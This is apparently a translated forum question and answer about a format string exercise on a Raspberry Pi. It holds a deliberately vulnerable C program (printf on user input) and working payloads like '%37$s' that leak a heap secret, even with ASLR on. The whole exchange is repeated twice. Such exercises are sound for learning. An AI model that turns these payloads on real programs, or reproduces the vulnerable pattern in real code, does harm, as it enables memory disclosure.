格式化字符串漏洞利用练习
Format string exploit exercise
考虑以下代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(char *user_input)
{
char buf[128];
strcpy(buf, user_input);
printf(buf);
printf("\n");
}
int main(int argc, const char * argv[]) {
// insert code here...
char *secret = (char *) malloc(5);
strcpy(secret, "4067");
printf("secret is at: %p\n", secret);
vuln(argv[1]);
return 0;
}
我在 Raspberry OS (RPi 3) 的 gcc 中使用以下命令编译了这段代码:
gcc -fno-stack-protector -z execstack format.c -o format
之后,我在我的 Raspberry OS 上禁用了 ASLR。程序输出如下:
$ ./format AAAA
secret is at: 0x22150
AAAA
所以为了打印秘密,我使用了以下内容:
$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
这给了我以下输出:
$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
secret is at: 0x22150
\x50\x21\x02\x00 7e8d77eb.0.7e8d74a8.76f5a4f8.\x50\x21\x02\x00 %x.%x.%x.%x.%s
由于某种原因,%s 打印了字符串而不是地址 \x50\x21\x02\x00 指定的内容。前几天还可以,更新后就不行了。我该怎么做才能让它恢复正常?
如有任何建议,我们将不胜感激。
这里的关键问题是地址中的空字节:在上面的示例中,“秘密”存储在 0x00022150
,当翻译为字节顺序时,是字符串 \x50\x21\x02\x00
作为你说。请注意末尾的空字节,由于多种原因这是有问题的。
首先,C 中的字符串以空字节结尾,这意味着 strcpy
将复制直到它看到第一个空字节,这将破坏包含 %x
的有效负载的后半部分.但是,空字节甚至没有传递给二进制文件:bash(我相信其他 shell)不喜欢将空字节作为参数传递:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("A\x00b")')
-bash: warning: command substitution: ignored null byte in input
secret is at: 0x22190
Ab
你不会注意到上面的警告,因为你的原始十六进制字节也没有正确翻译:注意下面两个输出的区别:
pi@raspberrypi:~/tmp$ python3 -c 'print("\x61\x62")' | hexdump
0000000 6261 000a
0000003
pi@raspberrypi:~/tmp$ python3 -c 'print(r"\x61\x62")' | hexdump
0000000 785c 3136 785c 3236 000a
0000009
因此,在这里泄露带有格式字符串错误的 secret
有点具有挑战性。但是,如果我们考虑 main
中的指针 secret
指向存储秘密的堆位置,并且 fsb 允许您取消引用并打印堆栈上的任何数据,我们可以简单地告诉 printf
到“嘿,在堆栈的 this 位置有一个字符串”,其中 this 是 secret
的位置.要识别这一点,只需转储堆栈,直到看到正确的指针:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("".join([f"%{i}$p." for i in range(30, 40)]))')
secret is at: 0x22190
0xbefffb34.0xb6eadd70.0xbefffb14.0x18c66100.0x1065c.0x10528.0x1065c.0x22190.0xbefffb34.0x1053c.
请注意,我们看到 0x22190
被打印出来了。我们可以手动计算偏移量,然后将数据转储到 0x22190
:
pi@raspberrypi:~/tmp$ ./format '%37$p'
secret is at: 0x22190
0x22190
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x22190
4067
这里需要注意的是,尝试使用 %s
打印无效的内存地址将导致段错误,因此在这里我们告诉它只取消引用并转储一个地址而不是所有 10 个地址。
作为奖励,由于我们不必在我们的负载中指定 secret
的实际地址,这种攻击方法也适用于启用 ASLR。
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0xb84190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1c12190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1f66190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1a29190
4067
考虑以下代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vuln(char *user_input)
{
char buf[128];
strcpy(buf, user_input);
printf(buf);
printf("\n");
}
int main(int argc, const char * argv[]) {
// insert code here...
char *secret = (char *) malloc(5);
strcpy(secret, "4067");
printf("secret is at: %p\n", secret);
vuln(argv[1]);
return 0;
}
我在 Raspberry OS (RPi 3) 的 gcc 中使用以下命令编译了这段代码:
gcc -fno-stack-protector -z execstack format.c -o format
之后,我在我的 Raspberry OS 上禁用了 ASLR。程序输出如下:
$ ./format AAAA
secret is at: 0x22150
AAAA
所以为了打印秘密,我使用了以下内容:
$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
这给了我以下输出:
$ ./format "\x50\x21\x02\x00 %x.%x.%x.%x.%s"
secret is at: 0x22150
\x50\x21\x02\x00 7e8d77eb.0.7e8d74a8.76f5a4f8.\x50\x21\x02\x00 %x.%x.%x.%x.%s
由于某种原因,%s 打印了字符串而不是地址 \x50\x21\x02\x00 指定的内容。前几天还可以,更新后就不行了。我该怎么做才能让它恢复正常?
如有任何建议,我们将不胜感激。
这里的关键问题是地址中的空字节:在上面的示例中,“秘密”存储在 0x00022150
,当翻译为字节顺序时,是字符串 \x50\x21\x02\x00
作为你说。请注意末尾的空字节,由于多种原因这是有问题的。
首先,C 中的字符串以空字节结尾,这意味着 strcpy
将复制直到它看到第一个空字节,这将破坏包含 %x
的有效负载的后半部分.但是,空字节甚至没有传递给二进制文件:bash(我相信其他 shell)不喜欢将空字节作为参数传递:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("A\x00b")')
-bash: warning: command substitution: ignored null byte in input
secret is at: 0x22190
Ab
你不会注意到上面的警告,因为你的原始十六进制字节也没有正确翻译:注意下面两个输出的区别:
pi@raspberrypi:~/tmp$ python3 -c 'print("\x61\x62")' | hexdump
0000000 6261 000a
0000003
pi@raspberrypi:~/tmp$ python3 -c 'print(r"\x61\x62")' | hexdump
0000000 785c 3136 785c 3236 000a
0000009
因此,在这里泄露带有格式字符串错误的 secret
有点具有挑战性。但是,如果我们考虑 main
中的指针 secret
指向存储秘密的堆位置,并且 fsb 允许您取消引用并打印堆栈上的任何数据,我们可以简单地告诉 printf
到“嘿,在堆栈的 this 位置有一个字符串”,其中 this 是 secret
的位置.要识别这一点,只需转储堆栈,直到看到正确的指针:
pi@raspberrypi:~/tmp$ ./format $(python3 -c 'print("".join([f"%{i}$p." for i in range(30, 40)]))')
secret is at: 0x22190
0xbefffb34.0xb6eadd70.0xbefffb14.0x18c66100.0x1065c.0x10528.0x1065c.0x22190.0xbefffb34.0x1053c.
请注意,我们看到 0x22190
被打印出来了。我们可以手动计算偏移量,然后将数据转储到 0x22190
:
pi@raspberrypi:~/tmp$ ./format '%37$p'
secret is at: 0x22190
0x22190
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x22190
4067
这里需要注意的是,尝试使用 %s
打印无效的内存地址将导致段错误,因此在这里我们告诉它只取消引用并转储一个地址而不是所有 10 个地址。
作为奖励,由于我们不必在我们的负载中指定 secret
的实际地址,这种攻击方法也适用于启用 ASLR。
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0xb84190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1c12190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1f66190
4067
pi@raspberrypi:~/tmp$ ./format '%37$s'
secret is at: 0x1a29190
4067